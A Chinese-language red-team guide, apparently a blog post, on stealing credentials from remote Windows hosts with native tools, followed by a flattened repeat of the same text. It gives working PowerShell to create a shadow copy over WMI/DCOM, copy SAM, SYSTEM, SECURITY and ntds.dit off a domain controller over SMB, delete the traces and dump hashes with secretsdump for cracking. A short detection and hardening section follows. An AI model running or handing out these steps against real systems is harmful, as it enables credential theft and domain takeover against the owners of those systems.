远程提取Windows中的系统凭证
字数 916 2025-08-25 22:59:02

远程提取Windows系统凭证技术指南

概述

本指南详细介绍了如何利用Windows原生工具(WMI和SMB)从远程Windows系统中提取系统凭证文件(SYSTEM、SECURITY、SAM),以及从域控制器提取ntds.dit文件的技术方法。这种方法在红队行动中特别有用,因为它仅使用系统自带工具,隐蔽性较高。

前提条件

  1. 权限要求:目标系统的管理员权限
  2. 网络访问:需要以下端口之一可访问:
    • 445/TCP (SMB)
    • 135/TCP (DCOM)
    • 5985/TCP (WinRM)
    • 5986/TCP (基于SSL的WinRM)
  3. 工具准备:PowerShell环境

技术实现步骤

1. 建立远程会话

使用替代凭据(可选)

runas.exe /netonly /user:MyDomain\MyUser powershell.exe

创建CIM会话

$h = 'DC01.mydomain.local'  # 目标主机名
$so = New-CimSessionOption -Protocol Dcom  # 使用DCOM协议
$s = New-CimSession -ComputerName $h -SessionOption $so

注:如需使用WinRM,省略-SessionOption参数

2. 创建卷影副本

$r = Invoke-CimMethod -ClassName Win32_ShadowCopy -MethodName Create -Arguments @{ Volume = 'C:\' } -CimSession $s
$r | fl  # 查看返回结果,ReturnValue为0表示成功

# 获取卷影副本详细信息
$c = Get-CimInstance -ClassName Win32_ShadowCopy -CimSession $s -Filter "ID=`"$($r.ShadowID)`""
$c  # 查看卷影副本属性

技巧:可以检查现有卷影副本而不创建新的,只需省略-Filter参数执行Get-CimInstance

3. 构建SMB访问路径

$p = '\\{0}\C$\{1}\Windows\System32\config' -f $h,$c.InstallDate.ToUniversalTime().ToString("'@GMT-'yyyy.MM.dd-HH.mm.ss")
$p  # 显示构建的路径,如:\\DC01.mydomain.local\C$\@GMT-2020.04.19-19.34.01\Windows\System32\config

4. 复制凭证文件

copy $p\SYSTEM C:\tmp
copy $p\SECURITY C:\tmp
copy $p\SAM C:\tmp

# 对于域控制器,还可以复制ntds.dit文件
copy $p\..\ntds\ntds.dit C:\tmp

注意:创建卷影副本后可能需要等待片刻才能访问路径

5. 清理资源

$c | Remove-CimInstance  # 删除卷影副本
$s | Remove-CimSession  # 关闭会话

凭证提取与破解

使用Impacket工具解析

  1. 本地SAM文件解析
secretsdump.py -system SYSTEM -security SECURITY -sam SAM LOCAL
  1. 域控ntds.dit文件解析
secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL

在线破解哈希

获取哈希后,可使用各种在线破解工具或服务进行破解。

蓝队检测方法

  1. 事件日志:监控事件ID 7036(Microsoft软件卷影复制提供程序服务启动)
  2. 网络流量:检测异常的主机间RPC/DCOM和SMB通信
  3. 文件访问:监控对敏感文件(SYSTEM、SECURITY、SAM、ntds.dit)的访问

防御建议

  1. 限制管理员权限的分配
  2. 监控卷影副本服务的异常启动
  3. 配置网络监控规则检测异常SMB和DCOM通信
  4. 对敏感文件设置严格的访问控制
  5. 定期审计域控制器上的活动

总结

这种技术利用Windows原生管理工具实现凭证提取,具有较高的隐蔽性。红队可以利用此方法在不引入外部工具的情况下获取系统凭证,而蓝队需要加强对原生工具滥用的检测能力。

相关工具

远程提取Windows系统凭证技术指南 概述 本指南详细介绍了如何利用Windows原生工具(WMI和SMB)从远程Windows系统中提取系统凭证文件(SYSTEM、SECURITY、SAM),以及从域控制器提取ntds.dit文件的技术方法。这种方法在红队行动中特别有用,因为它仅使用系统自带工具,隐蔽性较高。 前提条件 权限要求 :目标系统的管理员权限 网络访问 :需要以下端口之一可访问: 445/TCP (SMB) 135/TCP (DCOM) 5985/TCP (WinRM) 5986/TCP (基于SSL的WinRM) 工具准备 :PowerShell环境 技术实现步骤 1. 建立远程会话 使用替代凭据(可选) 创建CIM会话 注:如需使用WinRM,省略 -SessionOption 参数 2. 创建卷影副本 技巧 :可以检查现有卷影副本而不创建新的,只需省略 -Filter 参数执行 Get-CimInstance 3. 构建SMB访问路径 4. 复制凭证文件 注意 :创建卷影副本后可能需要等待片刻才能访问路径 5. 清理资源 凭证提取与破解 使用Impacket工具解析 本地SAM文件解析 : 域控ntds.dit文件解析 : 在线破解哈希 获取哈希后,可使用各种在线破解工具或服务进行破解。 蓝队检测方法 事件日志 :监控事件ID 7036(Microsoft软件卷影复制提供程序服务启动) 网络流量 :检测异常的主机间RPC/DCOM和SMB通信 文件访问 :监控对敏感文件(SYSTEM、SECURITY、SAM、ntds.dit)的访问 防御建议 限制管理员权限的分配 监控卷影副本服务的异常启动 配置网络监控规则检测异常SMB和DCOM通信 对敏感文件设置严格的访问控制 定期审计域控制器上的活动 总结 这种技术利用Windows原生管理工具实现凭证提取,具有较高的隐蔽性。红队可以利用此方法在不引入外部工具的情况下获取系统凭证,而蓝队需要加强对原生工具滥用的检测能力。 相关工具 WES-NG - Windows提权辅助脚本 FakeLogonScreen - 伪造系统登录页面工具